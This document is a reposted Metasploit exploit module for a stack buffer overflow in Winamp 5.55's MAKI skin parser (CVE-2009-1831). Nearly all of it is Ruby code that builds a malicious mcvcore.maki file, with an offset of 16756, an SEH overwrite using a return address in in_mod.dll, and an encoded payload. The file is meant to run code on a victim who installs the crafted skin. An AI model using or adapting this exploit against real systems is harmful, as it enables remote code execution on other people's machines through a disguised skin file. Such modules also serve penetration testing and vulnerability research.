Winamp MAKI Buffer Overflow

[DarkyAngel]

Winamp MAKI Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Winamp MAKI Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
                exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
                where memmove is used with in a insecure way with user controlled data.

                To exploit the vulnerability the attacker must convince the attacker to install the
                generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
                or generate a new skin using the crafted mcvcore.maki file. The module has been
                tested successfully on Windows XP SP3 and Windows 7 SP1.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Monica Sojeong Hong', # Vulnerability Discovery
                    'juan vazquez'  # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2009-1831'],
                    [ 'OSVDB', '54902'],
                    [ 'BID', '35052'],
                    [ 'EDB', '8783'],
                    [ 'EDB', '8772'],
                    [ 'EDB', '8770'],
                    [ 'EDB', '8767'],
                    [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 4000,
                    'DisableNops' => true,
                    'BadChars'    => ""
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    # winamp.exe 5.5.5.2405
                    [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
                        {
                            'Ret' => 0x12f02bc3, # ppr from in_mod.dll
                            'Offset' => 16756
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 20 2009',
            'DefaultTarget'  => 0))

        deregister_options('FILENAME')
    end

    def file_format_filename
        'mcvcore.maki'
    end

    def exploit

        sploit = rand_text(target['Offset'])
        sploit << generate_seh_record(target.ret)
        sploit << payload.encoded
        length_sploit = [sploit.length].pack("v")

        header = "\x46\x47" # magic
        header << "\x03\x04" # version
        header << "\x17\x00\x00\x00"
        types  = "\x01\x00\x00\x00" # count
        # class 1 => Object
        types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
        # functions
        functions = "\x37\x00\x00\x00" # count
        #function 1
        functions << "\x01\x01" # class
        functions << "\x00\x00" # dummy
        functions << length_sploit # function name length
        functions << sploit # crafted function name

        maki = header
        maki << types
        maki << functions

        print_status("Creating '#{file_format_filename}' file ...")

        file_create(maki)

    end

end

Sursa